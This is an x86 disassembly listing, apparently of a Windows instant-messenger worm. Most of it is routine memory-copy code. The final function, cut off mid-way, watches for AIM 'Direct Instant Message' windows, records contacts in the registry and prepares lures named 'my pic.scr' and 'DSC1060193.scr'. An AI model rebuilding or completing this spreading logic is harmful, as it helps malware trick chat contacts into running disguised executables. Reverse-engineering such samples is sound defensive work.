		lea	ecx, [ebp-584h]
		push	ecx
		cdq
		mov	ecx, 574h
		idiv	ecx
		sub	esi, eax
		push	esi
		push	dword ptr [ebx+8]
		push	ebx
		call	sub_415665
		add	[ebx+8], edi
		mov	ebx, [ebx+8]
		lea	eax, [ebp-584h]
		push	eax
		mov	eax, [ebp+8]
		sub	ebx, edi
		push	ebx
		call	sub_415D6F
		pop	ecx
		pop	ecx
		jmp	short loc_415978
; ---------------------------------------------------------------------------

loc_415940:				; CODE XREF: sub_41579A+149j
		imul	esi, 574h
		mov	edi, ecx
		sub	edi, esi
		mov	eax, ecx
		mov	ecx, edi
		call	sub_415F79
		push	dword ptr [ebp+0Ch]
		mov	[ebx+8], eax
		mov	ebx, [ebp+8]
		push	ebx
		mov	edx, edi
		call	sub_415D92
		lea	eax, [ebp-584h]
		push	eax
		add	esi, ebx
		push	esi
		mov	eax, ebx
		call	sub_415D6F
		add	esp, 18h

loc_415978:				; CODE XREF: sub_41579A+35j
					; sub_41579A+119j ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_41579A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415989	proc near		; CODE XREF: sub_4156B8+2Bp
		mov	eax, offset loc_427BAC
		call	sub_41E550
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	ebx, ecx
		push	9
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp-3Ch]
		mov	eax, ebx
		rep movsd
		call	sub_41568C
		mov	esi, [ebp+0Ch]
		test	esi, esi
		mov	edi, eax
		jz	loc_415B5D
		mov	eax, ebx
		call	sub_4156A2
		mov	ecx, 71C71C7h
		sub	ecx, eax
		cmp	ecx, esi
		jnb	short loc_4159D3
		call	sub_40C38F

loc_4159D3:				; CODE XREF: sub_415989+43j
		mov	eax, ebx
		call	sub_4156A2
		add	eax, esi
		cmp	edi, eax
		jnb	loc_415AB7
		mov	eax, edi
		shr	eax, 1
		mov	ecx, 71C71C7h
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_4159FC
		and	dword ptr [ebp-14h], 0
		mov	edi, [ebp-14h]
		jmp	short loc_415A01
; ---------------------------------------------------------------------------

loc_4159FC:				; CODE XREF: sub_415989+68j
		add	edi, eax
		mov	[ebp-14h], edi

loc_415A01:				; CODE XREF: sub_415989+71j
		mov	eax, ebx
		call	sub_4156A2
		add	eax, esi
		cmp	edi, eax
		jnb	short loc_415A1C
		mov	eax, ebx
		call	sub_4156A2
		add	eax, esi
		mov	[ebp-14h], eax
		mov	edi, eax

loc_415A1C:				; CODE XREF: sub_415989+83j
		lea	eax, [edi+edi*8]
		shl	eax, 2
		push	eax
		call	sub_41BA91
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		mov	edx, [ebx+4]
		push	dword ptr [ebp+8]
		mov	[ebp-18h], eax
		call	sub_415FA6
		add	esp, 0Ch
		lea	ecx, [ebp-3Ch]
		push	ecx
		push	ebx
		mov	edi, eax
		call	sub_4156F9
		mov	ecx, [ebx+8]
		push	dword ptr [ebp+8]
		mov	edx, [ebp+8]
		push	ecx
		call	sub_415FA6
		pop	ecx
		pop	ecx
		mov	eax, ebx
		call	sub_4156A2
		mov	esi, [ebp+0Ch]
		add	esi, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_415A85
		mov	ecx, [ebx+8]
		jmp	short loc_415A78
; ---------------------------------------------------------------------------

loc_415A75:				; CODE XREF: sub_415989+F1j
		add	eax, 24h

loc_415A78:				; CODE XREF: sub_415989+EAj
		cmp	eax, ecx
		jnz	short loc_415A75
		push	dword ptr [ebx+4]
		call	sub_41C7B8
		pop	ecx

loc_415A85:				; CODE XREF: sub_415989+E5j
		mov	eax, [ebp-14h]
		lea	ecx, [eax+eax*8]
		mov	eax, [ebp-18h]
		lea	ecx, [eax+ecx*4]
		mov	[ebx+0Ch], ecx
		lea	ecx, [esi+esi*8]
		lea	ecx, [eax+ecx*4]
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		jmp	loc_415B5D
; ---------------------------------------------------------------------------

loc_415AA5:				; DATA XREF: .text:004316FCo
		push	dword ptr [ebp-18h]
		call	sub_41C7B8
		pop	ecx

loc_415AAE:				; DATA XREF: .text:0043170Co
		push	0
		push	0
		call	sub_41E4BE

loc_415AB7:				; CODE XREF: sub_415989+55j
		mov	eax, [ebx+8]
		mov	edi, [ebp+8]
		mov	[ebp+0Ch], eax
		sub	eax, edi
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, esi
		jnb	short loc_415B24
		push	dword ptr [ebp+8]
		lea	eax, [esi+esi*8]
		push	dword ptr [ebp+0Ch]
		shl	eax, 2
		mov	[ebp-18h], eax
		add	eax, edi
		mov	edx, edi
		call	sub_415FA6
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-4], 2
		mov	ecx, [ebx+8]
		lea	eax, [ebp-3Ch]
		push	eax
		mov	eax, ecx
		sub	eax, edi
		push	24h
		pop	edi
		cdq
		idiv	edi
		push	ebx
		mov	edi, ecx
		sub	esi, eax
		call	sub_4156F9
		mov	eax, [ebp-18h]
		add	[ebx+8], eax
		mov	ebx, [ebx+8]
		lea	ecx, [ebp-3Ch]
		sub	ebx, eax
		mov	eax, [ebp+8]
		push	ecx
		push	ebx
		call	sub_415DA9
		pop	ecx
		pop	ecx
		jmp	short loc_415B5D
; ---------------------------------------------------------------------------

loc_415B24:				; CODE XREF: sub_415989+141j
		mov	eax, [ebp+0Ch]
		lea	esi, [esi+esi*8]
		mov	edx, eax
		shl	esi, 2
		sub	edx, esi
		mov	[ebp+8], edx
		push	dword ptr [ebp+8]
		push	eax
		call	sub_415FA6
		push	dword ptr [ebp+0Ch]
		mov	[ebx+8], eax
		mov	eax, [ebp+8]
		push	edi
		call	sub_415DC8
		lea	eax, [ebp-3Ch]
		push	eax
		add	esi, edi
		push	esi
		mov	eax, edi
		call	sub_415DA9
		add	esp, 18h

loc_415B5D:				; CODE XREF: sub_415989+2Dj
					; sub_415989+117j ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_415989	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415B6E	proc near		; CODE XREF: sub_41573D+26p
		mov	eax, offset loc_427BA2
		call	sub_41E550
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		lea	edi, [ebp-20h]
		movsd
		movsd
		movsd
		mov	ebx, ecx
		mov	eax, ebx
		mov	[ebp-10h], esp
		movsd
		call	sub_415717
		mov	esi, [ebp+0Ch]
		test	esi, esi
		mov	edi, eax
		jz	loc_415D19
		mov	eax, ebx
		call	sub_41572A
		mov	ecx, 0FFFFFFFh
		sub	ecx, eax
		cmp	ecx, esi
		jnb	short loc_415BB7
		call	sub_40C38F

loc_415BB7:				; CODE XREF: sub_415B6E+42j
		mov	eax, ebx
		call	sub_41572A
		add	eax, esi
		cmp	edi, eax
		jnb	loc_415C87
		mov	eax, edi
		shr	eax, 1
		mov	ecx, 0FFFFFFFh
		sub	ecx, eax
		cmp	ecx, edi
		jnb	short loc_415BDB
		xor	edi, edi
		jmp	short loc_415BDD
; ---------------------------------------------------------------------------

loc_415BDB:				; CODE XREF: sub_415B6E+67j
		add	edi, eax

loc_415BDD:				; CODE XREF: sub_415B6E+6Bj
		mov	eax, ebx
		call	sub_41572A
		add	eax, esi
		cmp	edi, eax
		jnb	short loc_415BF5
		mov	eax, ebx
		call	sub_41572A
		mov	edi, eax
		add	edi, esi

loc_415BF5:				; CODE XREF: sub_415B6E+7Aj
		mov	eax, edi
		shl	eax, 4
		push	eax
		call	sub_41BA91
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		mov	ecx, [ebx+4]
		push	dword ptr [ebp+8]
		mov	[ebp+0Ch], eax
		call	sub_415FCA
		add	esp, 0Ch
		lea	ecx, [ebp-20h]
		push	ecx
		push	esi
		push	eax
		push	ebx
		call	sub_415776
		mov	ecx, [ebx+8]
		push	dword ptr [ebp+8]
		push	ecx
		mov	ecx, [ebp+8]
		call	sub_415FCA
		pop	ecx
		pop	ecx
		mov	eax, ebx
		call	sub_41572A
		add	esi, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_415C5A
		mov	ecx, [ebx+8]
		jmp	short loc_415C4D
; ---------------------------------------------------------------------------

loc_415C4A:				; CODE XREF: sub_415B6E+E1j
		add	eax, 10h

loc_415C4D:				; CODE XREF: sub_415B6E+DAj
		cmp	eax, ecx
		jnz	short loc_415C4A
		push	dword ptr [ebx+4]
		call	sub_41C7B8
		pop	ecx

loc_415C5A:				; CODE XREF: sub_415B6E+D5j
		mov	eax, [ebp+0Ch]
		shl	edi, 4
		add	edi, eax
		shl	esi, 4
		add	esi, eax
		mov	[ebx+0Ch], edi
		mov	[ebx+8], esi
		mov	[ebx+4], eax
		jmp	loc_415D19
; ---------------------------------------------------------------------------

loc_415C75:				; DATA XREF: .text:00431678o
		push	dword ptr [ebp+0Ch]
		call	sub_41C7B8
		pop	ecx

loc_415C7E:				; DATA XREF: .text:00431688o
		push	0
		push	0
		call	sub_41E4BE

loc_415C87:				; CODE XREF: sub_415B6E+54j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+8]
		push	dword ptr [ebp+8]
		mov	edx, eax
		sub	edx, ecx
		sar	edx, 4
		cmp	edx, esi
		mov	[ebp+0Ch], eax
		push	eax
		jnb	short loc_415CE9
		mov	edi, esi
		shl	edi, 4
		lea	edx, [edi+ecx]
		mov	eax, edx
		call	sub_415FCA
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-4], 2
		mov	eax, [ebx+8]
		lea	ecx, [ebp-20h]
		push	ecx
		mov	ecx, eax
		sub	ecx, [ebp+8]
		sar	ecx, 4
		sub	esi, ecx
		push	esi
		push	eax
		push	ebx
		call	sub_415776
		add	[ebx+8], edi
		mov	ebx, [ebx+8]
		lea	eax, [ebp-20h]
		push	eax
		mov	eax, [ebp+8]
		sub	ebx, edi
		push	ebx
		call	sub_415DDF
		pop	ecx
		pop	ecx
		jmp	short loc_415D19
; ---------------------------------------------------------------------------

loc_415CE9:				; CODE XREF: sub_415B6E+12Fj
		mov	edi, eax
		shl	esi, 4
		sub	edi, esi
		mov	ecx, edi
		call	sub_415FCA
		push	dword ptr [ebp+0Ch]
		mov	[ebx+8], eax
		mov	ebx, [ebp+8]
		push	ebx
		mov	eax, edi
		call	sub_415DFD
		lea	eax, [ebp-20h]
		push	eax
		add	esi, ebx
		push	esi
		mov	eax, ebx
		call	sub_415DDF
		add	esp, 18h

loc_415D19:				; CODE XREF: sub_415B6E+2Cj
					; sub_415B6E+102j ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_415B6E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D2A	proc near		; CODE XREF: sub_41551D+Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415E14
		add	esp, 0Ch
		leave
		retn
sub_415D2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D41	proc near		; CODE XREF: sub_415589+Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415E40
		add	esp, 0Ch
		leave
		retn
sub_415D41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D58	proc near		; CODE XREF: sub_4155EB+Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415E67
		add	esp, 0Ch
		leave
		retn
sub_415D58	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D6F	proc near		; CODE XREF: sub_41579A+19Dp
					; sub_41579A+1D6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	eax, [esp+arg_0]
		jz	short locret_415D91
		push	esi
		push	edi

loc_415D77:				; CODE XREF: sub_415D6F+1Ej
		mov	esi, [esp+8+arg_4]
		mov	edi, eax
		add	eax, 574h
		cmp	eax, [esp+8+arg_0]
		mov	ecx, 15Dh
		rep movsd
		jnz	short loc_415D77
		pop	edi
		pop	esi

locret_415D91:				; CODE XREF: sub_415D6F+4j
		retn
sub_415D6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D92	proc near		; CODE XREF: sub_41579A+1C5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415F00
		add	esp, 0Ch
		leave
		retn
sub_415D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DA9	proc near		; CODE XREF: sub_415989+192p
					; sub_415989+1CCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	eax, [esp+arg_0]
		jz	short locret_415DC7
		push	esi
		push	edi

loc_415DB1:				; CODE XREF: sub_415DA9+1Aj
		mov	esi, [esp+8+arg_4]
		mov	edi, eax
		push	9
		add	eax, 24h
		cmp	eax, [esp+0Ch+arg_0]
		pop	ecx
		rep movsd
		jnz	short loc_415DB1
		pop	edi
		pop	esi

locret_415DC7:				; CODE XREF: sub_415DA9+4j
		retn
sub_415DA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DC8	proc near		; CODE XREF: sub_415989+1BEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415F2C
		add	esp, 0Ch
		leave
		retn
sub_415DC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DDF	proc near		; CODE XREF: sub_415B6E+172p
					; sub_415B6E+1A3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	eax, [esp+arg_0]
		jz	short locret_415DFC
		push	esi
		push	edi

loc_415DE7:				; CODE XREF: sub_415DDF+19j
		mov	esi, [esp+8+arg_4]
		mov	edi, eax
		movsd
		movsd
		movsd
		add	eax, 10h
		cmp	eax, [esp+8+arg_0]
		movsd
		jnz	short loc_415DE7
		pop	edi
		pop	esi

locret_415DFC:				; CODE XREF: sub_415DDF+4j
		retn
sub_415DDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_415B6E+195p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415F53
		add	esp, 0Ch
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E14	proc near		; CODE XREF: sub_415D2A+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	edx, [ebp+arg_0]
		jz	short loc_415E3B
		push	esi
		mov	eax, 574h
		push	edi

loc_415E23:				; CODE XREF: sub_415E14+23j
		mov	edi, [ebp+arg_4]
		add	[ebp+arg_4], eax
		mov	esi, edx
		add	edx, eax
		cmp	edx, [ebp+arg_0]
		mov	ecx, 15Dh
		rep movsd
		jnz	short loc_415E23
		pop	edi
		pop	esi

loc_415E3B:				; CODE XREF: sub_415E14+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_415E14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E40	proc near		; CODE XREF: sub_415D41+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	eax, [ebp+arg_0]
		jz	short loc_415E62
		push	esi
		push	edi

loc_415E4A:				; CODE XREF: sub_415E40+1Ej
		mov	edi, [ebp+arg_4]
		add	[ebp+arg_4], 24h
		mov	esi, eax
		push	9
		add	eax, 24h
		cmp	eax, [ebp+arg_0]
		pop	ecx
		rep movsd
		jnz	short loc_415E4A
		pop	edi
		pop	esi

loc_415E62:				; CODE XREF: sub_415E40+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_415E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E67	proc near		; CODE XREF: sub_415D58+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	eax, [ebp+arg_0]
		jz	short loc_415E88
		push	esi
		push	edi

loc_415E71:				; CODE XREF: sub_415E67+1Dj
		mov	edi, [ebp+arg_4]
		add	[ebp+arg_4], 10h
		mov	esi, eax
		movsd
		movsd
		movsd
		add	eax, 10h
		cmp	eax, [ebp+arg_0]
		movsd
		jnz	short loc_415E71
		pop	edi
		pop	esi

loc_415E88:				; CODE XREF: sub_415E67+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_415E67	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E8D	proc near		; CODE XREF: sub_415665+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	eax, eax
		jbe	short locret_415EB6
		push	esi
		push	edi

loc_415E93:				; CODE XREF: sub_415E8D+25j
		cmp	[esp+8+arg_0], 0
		jz	short loc_415EA9
		mov	esi, [esp+8+arg_4]
		mov	edi, [esp+8+arg_0]
		mov	ecx, 15Dh
		rep movsd

loc_415EA9:				; CODE XREF: sub_415E8D+Bj
		add	[esp+8+arg_0], 574h
		dec	eax
		jnz	short loc_415E93
		pop	edi
		pop	esi

locret_415EB6:				; CODE XREF: sub_415E8D+2j
		retn
sub_415E8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_415EB7	proc near		; CODE XREF: sub_4156F9+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	eax, eax
		jbe	short locret_415EDB
		push	esi
		push	edi

loc_415EBD:				; CODE XREF: sub_415EB7+20j
		cmp	[esp+8+arg_0], 0
		jz	short loc_415ED1
		mov	esi, [esp+8+arg_4]
		mov	edi, [esp+8+arg_0]
		push	9
		pop	ecx
		rep movsd

loc_415ED1:				; CODE XREF: sub_415EB7+Bj
		add	[esp+8+arg_0], 24h
		dec	eax
		jnz	short loc_415EBD
		pop	edi
		pop	esi

locret_415EDB:				; CODE XREF: sub_415EB7+2j
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415EDC	proc near		; CODE XREF: sub_415776+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	eax, eax
		jbe	short locret_415EFF
		push	esi
		push	edi

loc_415EE2:				; CODE XREF: sub_415EDC+1Fj
		cmp	[esp+8+arg_0], 0
		jz	short loc_415EF5
		mov	esi, [esp+8+arg_4]
		mov	edi, [esp+8+arg_0]
		movsd
		movsd
		movsd
		movsd

loc_415EF5:				; CODE XREF: sub_415EDC+Bj
		add	[esp+8+arg_0], 10h
		dec	eax
		jnz	short loc_415EE2
		pop	edi
		pop	esi

locret_415EFF:				; CODE XREF: sub_415EDC+2j
		retn
sub_415EDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F00	proc near		; CODE XREF: sub_415D92+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], edx
		jz	short loc_415F27
		push	esi
		mov	eax, 574h
		push	edi

loc_415F0F:				; CODE XREF: sub_415F00+23j
		sub	[ebp+arg_4], eax
		mov	edi, [ebp+arg_4]
		sub	edx, eax
		cmp	edx, [ebp+arg_0]
		mov	ecx, 15Dh
		mov	esi, edx
		rep movsd
		jnz	short loc_415F0F
		pop	edi
		pop	esi

loc_415F27:				; CODE XREF: sub_415F00+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_415F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F2C	proc near		; CODE XREF: sub_415DC8+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], eax
		jz	short loc_415F4E
		push	esi
		push	edi

loc_415F36:				; CODE XREF: sub_415F2C+1Ej
		sub	[ebp+arg_4], 24h
		mov	edi, [ebp+arg_4]
		sub	eax, 24h
		cmp	eax, [ebp+arg_0]
		push	9
		pop	ecx
		mov	esi, eax
		rep movsd
		jnz	short loc_415F36
		pop	edi
		pop	esi

loc_415F4E:				; CODE XREF: sub_415F2C+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_415F2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F53	proc near		; CODE XREF: sub_415DFD+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], eax
		jz	short loc_415F74
		push	esi
		push	edi

loc_415F5D:				; CODE XREF: sub_415F53+1Dj
		sub	[ebp+arg_4], 10h
		mov	edi, [ebp+arg_4]
		sub	eax, 10h
		cmp	eax, [ebp+arg_0]
		mov	esi, eax
		movsd
		movsd
		movsd
		movsd
		jnz	short loc_415F5D
		pop	edi
		pop	esi

loc_415F74:				; CODE XREF: sub_415F53+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_415F53	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F79	proc near		; CODE XREF: sub_41579A+AEp
					; sub_41579A+CFp ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		cmp	ebx, [esp+4+arg_0]
		jz	short loc_415FA4
		push	esi
		mov	edx, 574h
		push	edi

loc_415F89:				; CODE XREF: sub_415F79+27j
		test	eax, eax
		jz	short loc_415F98
		mov	ecx, 15Dh
		mov	esi, ebx
		mov	edi, eax
		rep movsd

loc_415F98:				; CODE XREF: sub_415F79+12j
		add	ebx, edx
		add	eax, edx
		cmp	ebx, [esp+0Ch+arg_0]
		jnz	short loc_415F89
		pop	edi
		pop	esi

loc_415FA4:				; CODE XREF: sub_415F79+7j
		pop	ebx
		retn
sub_415F79	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FA6	proc near		; CODE XREF: sub_415989+AFp
					; sub_415989+CDp ...

arg_0		= dword	ptr  4

		cmp	edx, [esp+arg_0]
		jz	short locret_415FC9
		push	esi
		push	edi

loc_415FAE:				; CODE XREF: sub_415FA6+1Fj
		test	eax, eax
		jz	short loc_415FBB
		push	9
		pop	ecx
		mov	esi, edx
		mov	edi, eax
		rep movsd

loc_415FBB:				; CODE XREF: sub_415FA6+Aj
		add	edx, 24h
		add	eax, 24h
		cmp	edx, [esp+8+arg_0]
		jnz	short loc_415FAE
		pop	edi
		pop	esi

locret_415FC9:				; CODE XREF: sub_415FA6+4j
		retn
sub_415FA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FCA	proc near		; CODE XREF: sub_415B6E+A2p
					; sub_415B6E+C0p ...

arg_0		= dword	ptr  4

		cmp	ecx, [esp+arg_0]
		jz	short locret_415FEC
		push	esi
		push	edi

loc_415FD2:				; CODE XREF: sub_415FCA+1Ej
		test	eax, eax
		jz	short loc_415FDE
		mov	esi, ecx
		mov	edi, eax
		movsd
		movsd
		movsd
		movsd

loc_415FDE:				; CODE XREF: sub_415FCA+Aj
		add	ecx, 10h
		add	eax, 10h
		cmp	ecx, [esp+8+arg_0]
		jnz	short loc_415FD2
		pop	edi
		pop	esi

locret_415FEC:				; CODE XREF: sub_415FCA+4j
		retn
sub_415FCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FED	proc near		; CODE XREF: sub_4163F9+12p
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		mov	eax, esi
		call	sub_41600E
		mov	eax, esi
		retn
sub_415FED	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FFF	proc near		; CODE XREF: sub_4163E2+Bp
		mov	eax, [eax+8]
		test	eax, eax
		jz	short locret_41600D
		push	eax
		call	ds:dword_4290F0	; CloseHandle

locret_41600D:				; CODE XREF: sub_415FFF+5j
		retn
sub_415FFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41600E	proc near		; CODE XREF: sub_40F4FC+5Ap
					; sub_415FED+Ap ...
		push	dword ptr [eax+8]
		and	dword ptr [eax], 0
		call	ds:dword_42910C	; SetEvent
		retn
sub_41600E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41601B	proc near		; CODE XREF: sub_41643A+20p
		mov	eax, [ecx+4]
		test	eax, eax
		jz	short loc_41602A
		cmp	[ecx], eax
		jb	short loc_41602A
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_41602A:				; CODE XREF: sub_41601B+5j
					; sub_41601B+9j
		xor	eax, eax
		retn
sub_41601B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41602D	proc near		; CODE XREF: sub_41643A+29p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_416041
		push	eax
		call	ds:dword_4290F0	; CloseHandle

loc_416041:				; CODE XREF: sub_41602D+Bj
		and	[ebp+var_8], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		call	ds:dword_429150	; CreateEventA
		push	0FFFFFFFFh
		push	eax
		mov	[esi+8], eax
		call	ds:dword_429128	; WaitForSingleObject
		leave
		retn
sub_41602D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416071	proc near		; DATA XREF: sub_41643A+8o

var_10		= dword	ptr -10h

		mov	eax, offset loc_427D85
		call	sub_41E550
		sub	esp, 354h
		push	edi
		mov	edi, 100h
		push	edi
		lea	eax, [ebp-260h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_429264	; GetWindowTextA
		lea	eax, [ebp-260h]
		push	offset aDirectInstantM ; "Direct Instant Message"
		push	eax
		call	sub_41CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_416350
		push	ebx
		push	esi
		lea	eax, [ebp-260h]
		push	offset asc_43015C ; ":"
		push	eax
		call	sub_41CE46
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		mov	[ebp-10h], esi
		jz	loc_41634E
		push	esi
		call	sub_41C350
		mov	[eax+esi-1], bl
		lea	eax, [ebp-160h]
		mov	[esp+10h+var_10], offset aSoftwareGnuCon ; "SOFTWARE\\GNU\\Contact"
		push	eax
		call	sub_41C930
		lea	eax, [ebp-160h]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		add	esp, 10h
		mov	[ebp-18h], ebx
		mov	[ebp-14h], ebx
		mov	[ebp-1Ch], ebx
		lea	eax, [ebp-160h]
		push	eax
		push	80000002h
		lea	eax, [ebp-1Ch]
		push	eax
		mov	[ebp-4], ebx
		call	sub_40DAB6
		lea	esi, [ebp-1Ch]
		call	sub_40DB08
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-160h]
		push	eax
		call	sub_41C940
		lea	eax, [ebp-160h]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		add	esp, 10h
		lea	eax, [ebp-28h]
		push	eax
		mov	eax, esi
		push	eax
		push	ebx
		push	2001Fh
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-160h]
		push	eax
		push	80000002h
		call	ds:dword_42900C	; RegCreateKeyExA
		call	sub_40DB08
		cmp	dword ptr [ebp-28h], 1
		jnz	loc_416346
		lea	eax, [ebp-60h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_429218	; GetWindowPlacement
		cmp	[ebp-58h], ebx
		jz	loc_416346
		push	0FFFFFFFFh
		push	ds:dword_4381D0
		call	ds:dword_429128	; WaitForSingleObject
		mov	ebx, offset dword_4381D4
		mov	esi, ebx
		call	sub_4046C9
		test	eax, eax
		jz	short loc_4161C2
		push	1
		mov	eax, ebx
		call	sub_404694

loc_4161C2:				; CODE XREF: sub_416071+146j
		lea	eax, [ebp+8]
		push	eax
		call	sub_40472B
		push	1
		push	offset aAolmail	; "AOLMAIL"
		mov	byte ptr [ebp-4], 1
		call	ds:dword_429244	; RegisterClipboardFormatA
		mov	esi, edi
		push	eax
		lea	edi, [ebp-360h]
		call	sub_404740
		mov	esi, ebx
		mov	[ebp-20h], eax
		call	sub_404706
		add	eax, 0C8h
		push	eax
		call	sub_41BAB5
		pop	ecx
		push	ds:dword_4381D0
		mov	[ebp-10h], eax
		call	ds:dword_429138	; ReleaseMutex
		push	2
		push	0
		mov	dword ptr [ebp-34h], offset aDsc1060193_scr ; "DSC1060193.scr"
		mov	dword ptr [ebp-30h], offset aMyPic_scr ; "my pic.scr"
